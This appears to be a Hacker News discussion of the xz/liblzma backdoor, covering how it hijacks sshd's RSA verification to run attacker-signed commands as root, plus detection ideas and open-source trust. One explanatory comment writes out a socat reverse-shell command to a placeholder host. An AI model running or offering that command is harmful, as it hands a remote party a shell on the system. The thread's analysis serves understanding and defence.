I think this would’ve been difficult to catch because the patching of sshd happens during linking, when it’s permissible, and if this is correct then it’s not a master key backdoor, so there is no regular login audit trail. And sshd would of course be allowed to start other processes. A very tight SELinux policy could catch sshd executing something that ain’t a shell but hardening to that degree would be extremely rare I assume.

As for being discovered outside the target, well we tried that exercise already, didn’t we? A bunch of people stared at the payload with valgrind et al and didn’t see it. It’s also fairly well protected from being discovered in debugging environments, because the overt infrastructure underlying the payload is incompatible with ASan and friends. And even if it is linked in, the code runs long before main(), so even if you were prodding around near or in liblzma with a debugger you wouldn’t normally observe it execute.

e: sibling suggests strace, yes you can see all syscalls after the process is spawned and you can watch the linker work. But from what I’ve gathered the payload isn’t making any syscalls at that stage to determine whether to activate, it’s just looking at argv and environ etc.

tux34• 2 years ago

One idea may be to create a patched version of ld-linux itself with added sanity checks while the process loads.

For something much more heavy-handed, force the pages in sensitive sections to fault, either in the kernel or in a hypervisor. Then look at where the access is coming from in the page fault handler.

I don't think you can reliably differentiate a backdoor executing a command, and a legitimate user logged in with ssh running a command once the backdoor is already installed. But the way backdoors install themselves is where they really break the rules.

Deathcrow4• 2 years ago

A very tight SELinux policy could catch sshd executing something that ain’t a shell but hardening to that degree would be extremely rare I assume.

Huh, ssh executes things that aren't shells all the time during normal operation. No? i.e. 'ssh myserver.lan cat /etc/fstab'

nurple3• 2 years ago

I think one interesting corollary here is how the Ken Thompson attack was discovered at PWB[0] because it had a memory performance bug[1].

  [0] https://en.wikipedia.org/wiki/PWB/UNIX
  [1] https://news.ycombinator.com/item?id=38020792

xlii• 2 years ago

Working for about a year in an environment that was exposed to high volume of malevolent IT actors (and some pretty scary ones) I’d say: discovery chances very always pretty high.

Keeping veil of secrecy requires unimaginable amount of energy. Same goes with truth consistency. One little slip and everything goes to nothing. Sometimes single sentence can start a chain of reaction and uncover meticulous crafted plan.

That’s how crime if fought every day. Whereas police work has limited resources, software is analyzed daily by hobbyists as a hobby, professionals who still do it for a hobby, and professionals for professional reasons.

Discovery was bound to happen eventually.

XZ attack was very well executed. It’s a master piece. I wouldn’t be surprised if some state agencies would be involved. But it also was incredibly lucky. I know for sure for myself, but also many of my colleagues would go into long journey if found any of issues that are flagged right now.

One takeaway is that chance of finding such issue would be impossible if xz/liblzma wouldn’t be open source (and yes I am also aware it enabled it in the first place) but imagine this existing in Windows or MacOS.

rigid4• 2 years ago

it enabled it in the first place

it took roughly two years including social engineering.

I'd say the same approach is much easier in a big software company.

timattrn• 2 years ago

Another independent maintainer would have helped too. Many eyes make bugs shallow, but just one extra genuine maintainer would have helped enormously. Clearly the existing maintainer trusted the attacker completely, but a second maintainer would not have. That's another social dimension to this attack: doing enough real work to suppress other maintainers coming along.

geggo982• 2 years ago

Using a jump host could help, only allowing port forwarding. Ideally it would be heavily monitored and create a new instance for every connection (e.g., inside a container).

The attacker would then be stuck inside the jump host and would have to probe where to connect next. This hopefully would then trigger an alert, causing some suspicion.

A shared instance would allow the attacker to just wait for another connection and then follow its traces, without risking triggering an alert by probing.

The ideal jump host would allow to freeze the running ssh process on an alert, either with a snapshot (VM based) or checkpointing (container based), so it can be analyzed later.

amelius• 2 years ago

Backdoors can be placed in any type of software. For example, a GIMP plugin could connect to your display and read keystrokes, harvest passwords, etcetera. Utilities run by the superuser are of course even more potentially dangerous. Supply-chain attacks like these are just bound to happen. Perhaps not as often in SSH which is heavily scrutinized, but the consequences can be serious nevertheless.

x-yl• 2 years ago

Can I ask for why it wouldn't have been discovered if the obvious delay wasn't present? Wouldn't anyone profiling a running sshd (which I have to imagine someone out there is doing) see it spending all its crypto time in liblzma?

xorcist3• 2 years ago

The situation certainly wouldn't be helped by the fact that this exploit targeted the systemd integration used by Debian and Red Hat. OpenSSH developers aren't likely to run that since they already rejected that patch for the increased attack surface. Hard to argue against, in retrospect. The attack also avoids activation under those conditions a profiler or debugger would run under.

chatmasta• 2 years ago

Can someone explain succinctly what the backdoor does? Do we even know yet? The backdoor itself is not a payload, right? Does it need a malicious archive to exploit it? Or does it hook into the sshd process to listen for malicious packets from a remote attacker?

The OP makes it sound like an attacker can send a malicious payload in the pre-auth phase of an SSH session - but why does he say that an exploit might never be available? Surely if we can reverse the code we can write a PoC?

Basically, how does an attacker control a machine with this backdoor on it?

swid2• 2 years ago

You can imagine a door that opens if you knock on it just right. For anyone without the secret knock, it appears and functions as a wall. Without the secret knock, there might not even be a way to prove it opens at all.

This is sort of the situation here. xz tries to decode some data before it does anything shady; since it is asymmetric; it can do the decryption without providing the secret encryption key (it has the public counterpart).

The exploit code may never be available, because it is not practical to find the secret key, and it doesn't do anything obviously different if the payload doesn't decrypt successfully. The only way to produce the exploit code would be if the secret key is found somehow; and the only real way for that to happen would be for the people who developed the backdoor to leak it.

tialaramex7• 2 years ago

Private key. In cryptography we distinguish keys which are symmetric (needed by both parties and unavailable to everyone else) as "Secret" keys, with the pair of keys used in public key cryptography identified as the Private key (typically known only to one person/ system/ whatever) and Public key (known to anybody who cares)

Thus, in most of today's systems today your password is a secret. You know your password and so does the system authenticating you. In contrast the crucial key for a web site's HTTPS is private. Visitors don't know this key, the people issuing the certificate don't know it, only the site itself has the key.

I remember this by the lyrics to "The Fly" by the band U2, "They say a secret is something you tell one other person. So I'm telling you, child".

takeda3• 2 years ago

I could be wrong, buy my understanding is that it isn't even a door. It simply allows anyone that has a certain private key, to send a payload that the server will execute. This won't produce any audit of someone logging in, you won't see any session etc.

Any Linux with this installed would basically become a bot that can be taken over. Perhaps they could send a payload to make it DDoS another host, or payload to open a shell or payload that would install another backdoor with more functionality, and to draw attention away from this one.

Nathanba• 2 years ago

I understand that we may never see the secret knock but shouldn't we have the door and what's behind it now? Doesn't this mean that the code is quite literally too hard to figure out for a human being? It's not like he can send a full new executable binary that he simply executes, then we'd see that the door is e.g the exec() call. Honestly this attempt makes me think that the entire c/c++ language stack and ecosystem is the problem. All these software shenanigans should not be needed in a piece of software like openssh but it's possible because it's written in c/c++.

cjbprime4• 2 years ago

It looks like the exploit path calls system() on attacker supplied input, if the check passes. I don't think we need to go into more detail than "it does whatever the attacker wants to on your computer, as root".

riedel• 2 years ago

In a way this is really responsible backdoor. In the end this is even less dangerous than most unreported 0-days collected by public and private actors. Absurdly, I would feel reasonably safe with the compromised versions. Somebody selling botnet host would never be so careful to limit collateral damage.

snnn8• 2 years ago

That's the most interesting part. No, we don't know it yet. The backdoor is so sophisticated that none of us can fully understand it. It is not a “usual” security bug.

heresWaldo3• 2 years ago

Yeah these types of security issues will be used by politicians to force hardware makers to lockdown hardware, embed software in chips.

The go fast startups habit of “import the world to make my company products” is a huge security issue IT workers ignore.

The only solution politics and big tech will chase is obsolete said job market by pulling more of the stack into locked down hardware, with updates only allowed to come from the gadget vendor.

saagarjha10• 2 years ago

It’s not that we can’t understand it, it’s just that work to understand it is ongoing.

mrln2• 2 years ago

What makes you say that? I haven't started reverse engineerinng it myself, but from all I have read, people who did have a very good understanding of what it does. They just can't use it themselves, because they would need to have the attacker's private key.

skywhopper3• 2 years ago

From what I’ve read I think the attack vector is:

1. sshd starts and loads the libsystemd library which loads the XZ library which contains the hack

2. The XZ library injects its own versions of functions in openssl that verify RSA signatures

3. When someone logs into SSH and presents a signed SSH certificate as authentication, those hacked functions are called

4. The certificate, in turn, can contain arbitrary data that in a normal login process would include assertions about username or role that would be used to determine if the certificate is valid for use logging in as the particular user. But if the hacked functions detect that the certificate was signed by a specific attacker key, they take some subfield of the certificate and execute it as a command on the system in the sshd context (ie, as the root user).

Unfortunately, we don’t know the attacker’s signing key, just the public key the hacked code uses to validate it. But basically this would give the attacker a way to run any command as root on any compromised system without leaving much of a trace, beyond the (presumably failed) login attempt, which any system on the internet will be getting a lot of anyway.

ghostpepper2• 2 years ago

beyond the (presumably failed) login attempt

There is some evidence it's scrubbing logs so we might not even have that.

xinayder• 2 years ago

When someone logs into SSH and presents a signed SSH certificate as authentication, those hacked functions are called

So if I only use pubkey auth and ED25519, there's no risk?

Besides this, just to understand it better, if someone tries to login to your server with the attacker's certificate, the backdoor will disable any checks for it and allow the remote user to login as root (or any other arbitrary user) even if root login is disabled in sshd config?

jvans• 2 years ago

So is the implication here that any system that allows SSH and contains this malicious code is vulnerable?

MuffinFlavored• 2 years ago

2. The XZ library injects its own versions of functions in openssl that verify RSA signatures

Specifically how did the xz library patch/hook/inject into the openssl functions that verify RSA signatures?

plg942• 2 years ago

I don't think we know what exactly this does, yet. I can only answer one of those questions, as far as I understand the "unreplayable" part is refering to this:

Apparently the backdoor reverts back to regular operation if the payload is malformed or *the signature from the attacker's key doesn't verify*.

emphasis mine, note the "signature of the attacker's key". So unless that key is leaked, or someone breaks the RSA algorithm (in which case we have far bigger problems), it's impossible for someone else (researcher or third-party) to exploit this backdoor.

BlueFalconHD3• 2 years ago

It would be really cool if in 20 years when we have quantum computers powerful enough we could see what this exploit does.

superb_dev• 2 years ago

This feels very targeted

rmi_• 2 years ago

So unless that key is leaked

But, just for replayability, we could "patch" the exploit with a known key and see what it does, don't we?

cryptonector9• 2 years ago

It's not using RSA. It's hooking RSA. And the attacker's signature is Ed448, not RSA.

cryptonector9• 2 years ago

I don't understand yet where the "unreplayable" part comes from, but this isn't it.

q3k• 2 years ago

The OP makes it sound like an attacker can send a malicious payload in the pre-auth phase of an SSH session - but why does he say that an exploit might never be available? Surely if we can reverse the code we can write a PoC?

Not if public-key cryptography was used correctly, and if there are no exploitable bugs.

jnwatson3• 2 years ago

We understand it completely. However, since determining the private key that corresponds to the public key embedded in the backdoor is practically infeasible, we can't actually exercise it. Someone could modify the code with a known ed448 private key and exercise it, but the point of having the PoC is to scan the internet and find vulnerable servers.

ajross4• 2 years ago

The OP makes it sound like an attacker can send a malicious payload in the pre-auth phase of an SSH session - but why does he say that an exploit might never be available?

The exploit as shipped is a binary (cleverly hidden in the test data), not source. And it validates the payload vs. a private key that isn't known to the public. Only the attacker can exercise the exploit currently, making it impossible to scan for (well, absent second order effects like performance, which is how it was discovered).

junon10• 2 years ago

Siblings saying "we don't know" haven't really groked the post I don't think.

If I'm understanding the thread correctly, here's a (not so) succinct explanation. Please, if you know better than I do, correct me if I've made an error in my understanding.

`system()` is a standard C function that takes a string as input and runs it through `sh`, like so:

    sh -c "whatever input"

It's used as a super rudimentary way to run arbitrary shell commands from a C program, using the `execl()` call under the hood, just like you'd run them on a bash/sh/fish/zsh/whatever command line.

    system("echo '!dlroW ,olleH' | rev");

Those commands run mostly in the same privilege context as the process that invoked `system()`. If the call to `system()` came from a program running as root, the executed command is also run as root.

The backdoor utilizes this function in the code that gets injected into `sshd` by way of liblzma.so, a library for the LZMA compression algorithm (commonly associated with the `.xz` extension). Jia Tan, the person at the center of this whole back door, has been a maintainer of that project for several years now.

Without going too much into how the injected code gets into the `sshd` process, the back door inserts itself into the symbol lookup process earlier than other libraries, such as libcrypto and openssl. What this means is (and I'm over-simplifying a lot), when the process needs to map usages of e.g. `SSL_decrypt_key()` that were linked to dynamic libraries (as opposed to be statically linked and thus included directly into `sshd`), to real functions, it does a string-wise lookup to see where it can find it.

It runs through a list of dynamic libraries that might have it and sees if they export it. If they do, it gets the address of the exported function and remembers where it's at so that further calls to that function can be found quickly, without another search. This is how DLLs and SOs (dynamic libraries) are linked to the process that needs them at runtime without the process needing to know exactly where the functions that they need are located.

The back door hijacks this mechanism to insert its own functions in some of those places, so that when `sshd` thinks it's calling `SSL_decrypt_key()`, it's really calling some malicious function in the back door - which can then choose to do something with the data passed to the function call, or it can choose to forward the call to the real function.

It makes use of this when `sshd` needs to validate RSA information passed to the server via a client connection during authentication. An RSA key has a bunch of fields, one of which is the 'n' field - the public key data itself. OpenSSL implements this as a BIGNUM, or a variable-length, potentially very large number. It's more or less read in as a bag of bytes, and its meaning depends on the underlying encryption algorithm. This is the mechanism behind "public key authentication" when connecting to servers, and is generally more secure than e.g. username/password authentication.

The back door intercepts the call to check the RSA data, pulls out the 'n' parameter, and tries to decrypt it using ChaCha20. There's no way for it to know if it's decrypted beforehand, but generally encryption algorithms have a way to error-check and report failures - that, or you add some well known piece of information into the encrypted data that you can verify once it's decrypted.

Either way, the back door checks to see if it's really an encrypted string. If not, it forwards the call back to the original RSA check mechanism so that sshd can process it normally.

However, if the decryption succeeds, the back door passes the decrypted string to `system()`. This means that a random client connecting to an SSH server can craft an RSA public key that is really an encrypted, malicious payload to run any arbitrary shell command under which the same user `sshd` is running - oftentimes root.

Not only that, but the back door also checks the incoming RSA structure to see if it's coming from the person who made it. This prevents any of us finding this exploit and using it ourselves, even if we know our target is infected. It's a completely exclusive back door to whomever holds the private key used by the back door to sort of 'authenticate' the exploit itself.

This is much worse than what many of us thought it was before - a public key auth bypass - which would have meant that you'd only gain access to any user allowed to log in via SSH. SSH's configuration file has a setting that disables root logins under any circumstances that is generally enabled on production systems for obvious reasons. However, with it being an RCE, SSH servers running as root would execute the payloads as root.

From there, they could easily run socat and have the system connect to a server of their choice to gain a remote interactive shell, for example:

    socat TCP:example.com:1234 SYSTEM:"bash -l"

The possibilities are really endless. They'd effectively have a skeleton key that only they could use (or sell) that, with enough time for people to upgrade their version of `sshd`, would allow them access to just about any SSH server they could connect to, oftentimes with root permissions.

Hope that explains it a bit.

Denvercoder93• 2 years ago

Siblings saying "we don't know" haven't really groked the post I don't think.

The reason for saying "we don't know" is not that we don't understand what's detailed in TFA, but that the backdoor embeds a 88 kB object file into liblzma, and nobody has fully reverse engineered and understood all that code yet. There might be other things lurking in there.

sureglymop3• 2 years ago

Thank you for the detailed write up. This made me think, why do we actually let sshd run as root? Would it be possible to only run a very unsophisticated ssh server as root that depending on the user specified in the incoming connection just coordinates that connection to the actual user and let the server run there? This could be so simplistic that a backdoor would more easily be detected.

takeda3• 2 years ago

They'd effectively have a skeleton key that only they could use (or sell) that

this looks more like state sponsored attack and it doesn't look like someone joining and at one point realizing they want to implement this backdoor.

The guy joined the project 2 years ago, developed a test framework (which he then used to hide binary of the backdoor in which appears that is complex and others are still figuring out how it works) then he gradually disabled various security checks before activating it.

matheusmoreira5• 2 years ago

Attacker wants to be able to send an especially crafted public key to their target's server's sshd. That crafted key is totally bogus input, a normal sshd would just probably reject it as invalid. The bits embedded into the key are actually malicious code, encrypted/signed with the attacker's secret key.

In order to achieve their objective, they engineered a backdoor into sshd that hooks into the authentication functions which handle those keys. Whenever someone sends a key, it tries to decrypt it with the attacker's keys. If it fails, proceed as usual, it's not a payload. If it successfully decrypts, it's time for the sleeper agent to wake up and pipe that payload into a brand new process running as root.

dolmen4• 2 years ago

git.tukaani.org runs sshd. If that sshd was upgraded with the xz backdoor, we cannot exclude that the host was compromised as it could be have been a obvious target for the backdoor author.

bostik2• 2 years ago

Rather unlikely. The bad actor never had access to git.tukaani.org, and the sshd version running on that host is:

    SSH-2.0-OpenSSH_7.9p1 Debian-10+deb10u3

That is, a stable Debian release. Definitely not one with liblzma5:5.6.x

SubiculumCode• 2 years ago

So is this backdoor active in Ubuntu distributions?

dboreham4• 2 years ago

It appears not.

justinsaccount• 2 years ago

Apparently the backdoor reverts back to regular operation if the payload is malformed or the signature from the attacker's key doesn't verify.

Does this mean it's possible to send every ssh server on the internet a malformed payload to get it to disable the backdoor if it was vulnerable?

denysvitali4• 2 years ago

It just reverts it for the specific connection - most likely to not raise suspicions on the fact that SSH doesn't accept RSA keys anymore

pcthrowaway4• 2 years ago

Has anyone proposed a name for this exploit yet?

kstrauser2• 2 years ago

Dragon Gate. There’s my contribution.

pixelbeat__• 2 years ago

rxzec

aaronmdjones2• 2 years ago

CVE-2024-3094

chr-s• 2 years ago

"Backdoor in upstream xz/liblzma leading to ssh server compromise"[0] isn't bad either.

[0]https://www.openwall.com/lists/oss-security/2024/03/29/4

denysvitali4• 2 years ago

Pick one: xzdoor, backdoorssh

TheSmoke• 2 years ago

doordassh :)

pcthrowaway4• 2 years ago

ooh I like this one. I'd propose: backdoordassh

But I wonder if they'd run into trademark issues

LeoPanthera• 2 years ago

LZMAO

77pt77• 2 years ago

This should be it.

It's by far the best, because someone is definitely "LMAO".

fullstop• 2 years ago

Jia-had

thefilmore• 2 years ago

xzploit

jaza• 2 years ago

All Your SSH Are Belong To Us

martinohansen• 2 years ago

Imagine a future where state actors have hundreds of AI agents fixing bugs, gaining reputation while they slowly introduce backdoors. I really hope open source models succeed.

pas4• 2 years ago

... if we want security it needs trust anyway. it doesn't matter if it's amazing Code GPT or Chad NSA, the PR needs to be reviewed by someone we trust.

it's the trust that's the problem.

web of trust purists were right just ahead of the time.

cqqxo4zV46cp3• 2 years ago

That just…doesn’t make any sense.

Everyone starts from zero and works their way up.

bee_rider3• 2 years ago

It would actually be sort of interesting if multiple adversarial intelligence agencies could review and sign commits. We might not trust any particular intelligence agency, but I bet the NSA and China would both be interested in not letting much through, if they knew the other guy was looking.

pvg• 2 years ago

Chad NSA

It's called the ANS is Chad.

grepfru_it2• 2 years ago

this is why microsoft bought github and has been onboarding major open source projects. they will be the trusted 3rd party (whether we like it our not is a different story)

legobmw992• 2 years ago

Why would open source models make this scenario you are painting better?

undersuit2• 2 years ago

Because in the closed source model the frustrated developer that looked into this SSH slowness submits a ticket for the owner of the malicious code to dismiss.

jnwatson3• 2 years ago

Presumably the state actors are looking for other state actor's bugs, and would try to fix them, or least fix them to only work for them.

That's quite a game of cat and mouse.

exitzer0• 2 years ago

I work for a large closed-source software company and I can tell you with 100% that it is full of domestic and foreign agents. Being open source means that more eyes can and will look at something. That only increases the chance of malicious actions being found out ... just like this supply-chain attack.

naruhodo• 2 years ago

Reminds me of the scene in Fight Club where the unreliable narrator is discussing car defects to a fellow airline passenger.

Quoting from flawed memory:

Passenger: Which company?

Narrator: A large one.

4death4• 2 years ago

Imagine a world where a single OSS maintainer can do the work of 100 of today’s engineers thanks to AI. In the world you describe, it seems likely that contributors would decrease as individual productivity increases.

Muromec7• 2 years ago

And be burned out 100x faster

sureglymop3• 2 years ago

Wouldn't everything produced by an AI explicitly have to be checked/reviewed by a human? If not, then the attack vector just shifts to the AI model and that's where the backdoor is placed. Sure, one may be 50 times more efficient at maintaining such packages but the problem of verifiably secure systems actually gets worse not better.

starspangled• 2 years ago

Why AI agents?

transpute2• 2 years ago

SE Linux comment by @poettering, https://news.ycombinator.com/item?id=39867126

Libselinux pulls in liblzma too and gets linked into tons more programs than libsystemd. And will end up in sshd too (at the very least via libpam/pam_selinux). And most of the really big distros tend do support selinux at least to some level. Hence systemd or not, sshd remains vulnerable by this specific attack.

Devuan comment by @capitainenemo, https://news.ycombinator.com/item?id=39866190

The sshd in Devuan does link to a libsystemd stub - this is to cut down on their maintenance of upstream packages. However that stub does not link to lzma.

Future proofing, https://gynvael.coldwind.pl/?lang=en&id=782

  Stage 2 "extension" mechanism

  This whole thing basically looks like an "extension/patching" system that would allow adding future scripts to be run in the context of Stage 2, without having to modify the original payload-carrying test files. Which makes sense, as modyfing a "bad" and "good" test files over and over again is pretty suspicious. So the plan seemed to be to just add new test files instead, which would have been picked up, deciphered, and executed.

thegrim000• 2 years ago

I've seen a lot of discussion on the topic but have yet to see someone just specify which versions of xz are likely affected so that I can verify whether I'm running them or not ..

aftbit• 2 years ago

Ask your distro. On Arch, it's 5.6.0-1 and 5.6.1-1. Most of Debian (outside sid/unstable) is unaffected, as allegedly is Red Hat.

https://archlinux.org/news/the-xz-package-has-been-backdoore...

dboreham4• 2 years ago

So this is called the house of cards backdoor now?

rany_3• 2 years ago

If my server doesn't have any RSA public keys in its authorized_keys, only ed25519 keys; does this backdoor just not work?

keiba• 2 years ago

This backdoor does not care about any of the authorisation configuration set by the user.

It is executed before that step. So just make sure you are not affected.

rany_3• 2 years ago

It was just that it hooks to `RSA_public_decrypt` which threw me off, I didn't really understand this backdoor much. I only have one Debian sid machine which was vulnerable and accessible via a public IPv4 ssh, I'm not sure if I should just wipe it.

adtac4• 2 years ago

It will still work if the connecting client offers a RSA key.

The only real way to be sure it's not on your system is if your liblzma version is strictly less than 5.6.0 (first infected version):

    ls -al $(ldd $(which sshd) | grep lzma | awk '{ print $3 }')

rany_3• 2 years ago

Thanks for the reply, I was just curious because `RSA_public_decrypt` threw me off.

creato2• 2 years ago

One of the takeaways from this to me is that there is way too much sketchy bullshit happening in critical system software. Prebuilt binary blobs [1]? Rewriting calls to SIMD enhanced versions at runtime [2]? Disabling sanitizers [3]? Incomprehensible build scripts [4]?

All of this was either at least strongly frowned upon, if not outright unacceptable, on every project I've ever worked on, either professionally or for fun. And the stakes were far lower for those projects than critical linux system software.

1. https://lwn.net/Articles/967442/

2, 3: https://github.com/google/oss-fuzz/pull/10667

4. https://news.ycombinator.com/item?id=39866161

cryptonector9• 2 years ago

Rewriting calls to SIMD enhanced versions at runtime?

That's something that's been done for decades. It's pretty normal. What's not normal is for that to get re-done after startup. That is, one library should not be able to get that resolution process to be re-done after it's been done once. Malicious code that knows the run-time linker-loader's data structures could still re-resolve things anyways, which means that even removing this feature altogether from the run-time linker-loader wouldn't prevent this particular aspect of this attack.

I.e., you're barking up the wrong tree with (2).

nwallin2• 2 years ago

Prebuilt binary blobs [1]?

My understanding is that the binary blobs were test data. Find a bug that happens on certain input. Craft a payload that both triggers the bug and does the malicious thing you want to do. Add the binary blob to /tests/files/. Then write a legitimate test to ensure that the bug goes away.

Then do some build script bullshit to somehow get that binary into the build.

ParetoOptimal• 2 years ago

We should probably look into other fundamental dependencies like xz as well to see if similar practices are happening.

cryptonector9• 2 years ago

I'm surprised the attackers used Ed448 instead of Ed25519.

supposemaybe3• 2 years ago

Maybe they know something we don’t about Ed25519? [Queue X-Files theme tune]

t0mas882• 2 years ago

Maybe their organisation has a policy that requires stronger encryption? Possibly because that organisation is also in the business of cracking such encryption...

hosteur• 2 years ago

Is Ed448 stronger than Ed25519?

snnn8• 2 years ago

Maybe we should consider moving more and more system process to webassembly. wasmtime has a nice sandbox. Surely it will decrease the performance, but performance is not always that important. For example, on my dev machine even if SSHD or apache's performance dropped 3x because of that, I wouldn't mind. If I really care, spend more money to get a more powerful CPU.

tevon• 2 years ago

Currently if you visit the xz repository it is disabled for violating github's TOS.

While it should clearly be disabled, I feel like github should leave the code and history up, while displaying a banner (and disabled any features that could be exploited), so that researchers and others can learn about the exploit.

In more minor situations when a library is hosting malicious code, if I found the repo to be down I might not think anything of it.

jhfdbkofdchk• 2 years ago

I imagine they don’t want automation downloading it.

Randalthorro4• 2 years ago

You can find GitHub events from the repo as a csv here https://github.com/emirkmo/xz-backdoor-github

If you are interested in the source code that is easy to find. This code and git repo are linked all over the world, in many git repos, and the source is bundled many times in releases as well.

shp0ngle• 2 years ago

xz has its own git mirror where you can see all the commits

junon10• 2 years ago

Notably only writable by Lasse who I personally believe is a Good Actor here.

xuhu• 2 years ago

It just seems implausible that the malicious x86 code would not have shown up in strace, perf record, or some backtrace. Once this ended up in all the major distros, some syscall or glibc call would have eventually looked like a red flag to someone before long.

lyu072822• 2 years ago

God the amount of damage this would've caused, nightmarish, we are so unbelievably lucky. In a few months it would've been in every deb&rpm distribution. Thank God we found it early!

supposemaybe3• 2 years ago

Found it early?..

I found the backdoor on five of my Vultr servers as well as my MacBook Pro this evening. I certainly didn’t catch it early.

So if that’s the state of it, it could very well be too late for many many companies. Not to mention folks who rely on TOR for their safety - there could be entire chains of backdoored entry, middle and exit nodes exposing vast numbers of TOR users over the past month or so (spies included!).

echoangle• 2 years ago

Which Distro did you use on the affected devices?

Klonoar• 2 years ago

...maybe list the distros or macOS point releases/paths that you found it on macOS. ;P

lyu072822• 2 years ago

It was only in rolling release/testing/unstable distributions, a pretty small subset of systems in the grand scheme of things, is why I said that. It was introduced in February 23 release of xz. This could've been years until discovered.

Never use unstable/testing on real servers, that's a bad idea for entirely different reasons.

broadsidepicnic3• 2 years ago

Very few if close to zilch companies are using rolling distros in their critical infra.

tigerlily• 2 years ago

As a de facto maintainer of an obscure open source game, I see devs come and go. I just merge all the worthwhile contributions. Some collaborators go pretty deep with their features, with a variety of coding styles, in a mishmash of C and C++. I'm not always across the implementation details, but in the back of my mind I'm thinking, man, anyone could just code up some real nasty backdoor and the project would be screwed. Lucky the game is so obscure and the attack surface minuscule, but it did stop me from any temptation to sign Windows binaries out of any sense of munificence.

This xz backdoor is just the most massive nightmare, and I really feel for the og devs, and anyone who got sucked in by this.

p-e-w3• 2 years ago

but in the back of my mind I'm thinking, man, anyone could just code up some real nasty backdoor and the project would be screwed

That's true of course, but it's not a problem specific to software. In fact, I'm not even sure it's a "problem" in a meaningful sense at all.

When you're taking a walk on a forest road, any car that comes your way could just run you over. Chances are the driver would never get caught. There is nothing you can do to protect yourself against it. Police aren't around to help you. This horror scenario, much worse than a software backdoor, is actually the minimum viable danger that you need to accept in order to be able to do anything at all. And yes, sometimes it does really happen.

But at the end of the day, the vast majority of people just don't seek to actively harm others. Everything humans do relies on that assumption, and always has. The fantasy that if code review was just a little tighter, if more linters, CI mechanisms, and pattern matching were employed, if code signing was more widespread, if we verified people's identities etc., if all these things were implemented, then such scenarios could be prevented, that fantasy is the real problem. It's symptomatic of the insane Silicon Valley vision that the world can and should be managed and controlled at every level of detail. Which is a "cure" that would be much worse than any disease it could possibly prevent.

consumer4513• 2 years ago

But at the end of the day, the vast majority of people just don't seek to actively harm others. Everything humans do relies on that assumption, and always has.

https://en.wikipedia.org/wiki/Normalcy_bias ?

It's symptomatic of the insane Silicon Valley vision that the world can and should be managed and controlled at every level of detail. Which is a "cure" that would be much worse than any disease it could possibly prevent.

What "cure" would you recommend?

Dalewyn5• 2 years ago

But at the end of the day, the vast majority of people just don't seek to actively harm others. Everything humans do relies on that assumption, and always has.

Wholeheartedly agree. Fundamentally, we all assume that people are operating with good will and establish trust with that as the foundation (granted to varying degrees depending on the culture, some are more trusting or skeptical than others).

It's also why building trust takes ages and destroying it only takes seconds, and why violations of trust at all are almost always scathing to our very soul.

We certainly can account for bad actors, and depending on what's at stake (eg: hijacking airliners) we do forego assuming good will. But taking that too far is a very uncomfortable world to live in, because it's counter to something very fundamental for humans and life.

keepamovin• 2 years ago

This is a good take. But even in a forest, sometimes when tragedy strikes people do postmortems, question regulations and push for change.

Sometimes, it does seem like the internet incentivizes or makes everyone else accessible to a higher ratio of people who seem to harm than normal.

mendyberger• 2 years ago

Difference is that software backdoors can effect billions of people. That driver on the road can't effect too many without being caught.

In this case, had they been a bit more careful with performance, they could have effected millions of machines without being caught. There aren't many cases where a lone wolf can do so much damage outside of software.

imiric5• 2 years ago

When you're taking a walk on a forest road, any car that comes your way could just run you over. Chances are the driver would never get caught. There is nothing you can do to protect yourself against it.

Sure you can. You can be more vigilant and careful when walking near traffic. So maybe don't have headphones on, and engage all your senses on the immediate threats around you. This won't guarantee that a car won't run you over, but it reduces the chances considerably to where you can possibly avoid it.

The same can be said about the xz situation. All the linters, CI checks and code reviews couldn't guarantee that this wouldn't happen, but they sure would lower the chances that it does. Having a defeatist attitude that nothing could be done to prevent it, and that therefore all these development practices are useless, is not helpful for when this happens again.

The major problem with the xz case was the fact it had 2 maintainers, one who was mostly absent, and the other who gradually gained control over the project and introduced the malicious code. No automated checks could've helped in this case, when there were no code reviews, and no oversight over what gets merged at all. But had there been some oversight and thorough review from at least one other developer, then the chances of this happening would be lower.

It's important to talk about probabilities here instead of absolute prevention, since it's possible that even in the strictest of environments, with many active contributors, malicious code could still theoretically be merged in. But without any of it, this approaches 100% (minus the probability of someone acting maliciously to begin with, having their account taken over, etc.).

godelski4• 2 years ago

Honestly this is why I think we should pay people for open source projects. It is a tragedy of the commons issues. All of us benefit a lot from these free software, and done for free. Pay doesn't exactly fix the problems directly, but they do decrease the risk. Pay means people can work on these full time instead of on the side. Pay means it is harder to bribe someone. Pay also makes the people contributing feel better and more like their work is meaningful. Importantly, pay signals to these people that we care about them. I think the big tech should pay. We know the truth is that they'll pass on the costs to us anyways. I'd also be happy to pay taxes but that's probably harder. I'm not sure what the best solution is and this is clearly only a part of a much larger problem, but I think it is very important that we actually talk about how much value OSS has. If we're going to talk about how money represents value of work, we can't just ignore how much value is generated from OSS and only talk about what's popular and well know. There are tons of critical infrastructure in every system you could think of (traditional engineering, politics, anything) that is unknown. We shouldn't just pay things that are popular. We should definitely pay things that are important. Maybe the conversation can be different when AI takes all the jobs (lol)

imiric5• 2 years ago

The late author of ZeroMQ, Pieter Hintjens, advocated for a practice called Optimistic Merging[1], where contributions would be merged immediately, without reviewing the code or waiting for CI results. So your approach of having lax merging guidelines is not far off.

While I can see the merits this has in building a community of contributors who are happy to work on a project, I always felt that it opens the project to grow without a clear vision or direction, and ultimately places too much burden on maintainers to fix contributions of others in order to bring them up to some common standard (which I surely expect any project to have, otherwise the mishmash of styles and testing practices would make working on the project decidedly not fun). It also delays the actual code review, which Pieter claimed does happen, to some unknown point in the future, when it may or may not be exhaustive, and when it's not clear who is actually responsible of conducting it or fixing any issues. It all sounds like a recipe for chaos where there is no control over what eventually gets shipped to users. But then again, I never worked on ZeroMQ or another project that adopted these practices, so perhaps you or someone else here can comment on what the experience is like.

And then there's this issue of malicious code being shipped. This is actually brought up by a comment on that blog post[2], and Pieter describes exactly what happened in the xz case:

Let's assume Mallory is patient and deceitful and acts like a valid contributor long enough to get control over a project, and then slowly builds in his/her backdoors. Then careful code review won't help you. Mallory simply has to gain enough trust to become a maintainer, which is a matter of how, not if.

And concludes that "the best defense [...] is size and diversity of the community".

